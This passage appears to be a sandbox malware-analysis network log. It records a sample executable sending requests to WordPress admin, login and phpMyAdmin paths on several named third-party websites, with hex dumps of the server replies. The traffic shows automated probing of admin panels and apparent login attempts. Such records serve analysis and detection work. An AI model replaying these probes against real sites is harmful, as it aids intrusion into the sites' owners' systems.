65 63 74 69 6f 6e 2e 0a 41 75 74 68 6f 72 3a 20 Data Ascii: 1f40<style id='divi-style-inline-inline-css' type='text/css'>/*!Theme Name: DiviTheme URI: http://www.elegantthemes.com/gallery/divi/Version: 4.22.2Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.Author:
2023-11-26 05:59:45 UTC	7822	IN	Data Raw: 74 2d 61 72 65 61 7b 77 69 64 74 68 3a 37 39 2e 31 32 35 25 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 33 70 78 7d 23 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 32 65 32 65 32 7d 2e 65 74 5f 66 75 6c 6c 5f 77 69 64 74 68 5f 70 61 67 65 20 23 6c 65 66 74 2d 61 72 65 61 2c 2e 65 74 5f 6e 6f 5f 73 69 64 65 62 61 72 20 23 6c 65 66 74 2d 61 72 65 61 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 66 75 6c 6c 5f 77 69 Data Ascii: t-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_wi
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 31 30 30 25 20 2b 20 32 70 78 29 20 63 61 6c 63 28 31 30 30 25 20 2b 20 32 70 78 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 35 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 65 74 5f 70 62 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 70 61 74 74 65 72 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 7d 2e 65 74 5f 70 62 5f 77 69 74 68 5f 62 6f 72 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 62 6f 72 64 65 72 3a 30 20 73 6f 6c 69 64 20 23 33 33 33 7d 2e 70 6f 73 74 2d 70 61 73 73 77 6f 72 64 2d 72 65 71 75 69 Data Ascii: 1f40100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-requi
2023-11-26 05:59:45 UTC	2582	IN	Data Raw: 69 67 6e 5f 72 69 67 68 74 2d 74 61 62 6c 65 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 2e 65 74 5f 70 62 5f 74 65 78 74 5f 61 6c 69 67 6e 5f 6a 75 73 74 69 66 69 65 64 2d 74 61 62 6c 65 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 65 74 5f 70 62 5f 6d 6f 72 65 5f 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 6f 76 65 72 6c 61 79 2e 65 74 5f 70 62 5f 69 6e 6c 69 6e 65 5f 69 63 6f 6e 5f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 2c 2e 65 74 5f 70 62 5f 69 6e 6c 69 6e 65 5f 69 63 6f 6e 5f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e Data Ascii: ign_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{con
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.4	49461	47.246.24.211	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	162	OUT	GET /pma/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	734	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 54 65 6e 67 69 6e 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 53 50 2e 4e 45 54 5f 53 65 73 73 69 6f 6e 49 64 3d 75 75 6f 65 35 74 6f 31 70 69 69 7a 6d 6a 6b 69 71 6d 70 74 78 75 7a 77 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b Data Ascii: HTTP/1.1 404 Not FoundServer: TengineContent-Type: text/html; charset=utf-8Content-Length: 103Connection: closeDate: Sun, 26 Nov 2023 05:59:44 GMTCache-Control: privateSet-Cookie: ASP.NET_SessionId=uuoe5to1piizmjkiqmptxuzw; path=/; HttpOnly;
2023-11-26 05:59:44 UTC	103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 6e 77 7a 69 6d 67 2e 77 65 7a 68 61 6e 2e 6e 65 74 2f 73 74 61 74 69 63 2d 6a 73 2f 70 61 67 65 34 30 34 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <!DOCTYPE html><html><head><script src='https://nwzimg.wezhan.net/static-js/page404.js'></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	49223	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	351	OUT	GET /wp-admin/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=4f36ac64dc73c26adfab9dad01788b38\|11f187638643e13d7bd1963991fac52b; OF=9lma3oral9i39bi8q8vm70o157 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://beachrecruitment.com/wp-login.php
2023-11-26 05:59:43 UTC	424	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:43 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	49413	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	780	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:43 UTC	589	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 Data Ascii: href="https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="styleshee
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 45 6d 61 69 6c 20 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d Data Ascii: Email Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 2e 66 6f 63 75 73 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c Data Ascii: .focus(); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-pol
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: ps://hightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script>
2023-11-26 05:59:43 UTC	320	IN	Data Raw: 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 Data Ascii: s"></script><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.mi
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	49310	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	170	OUT	GET /pma/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:43 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:43 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:43 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:43 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:43 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 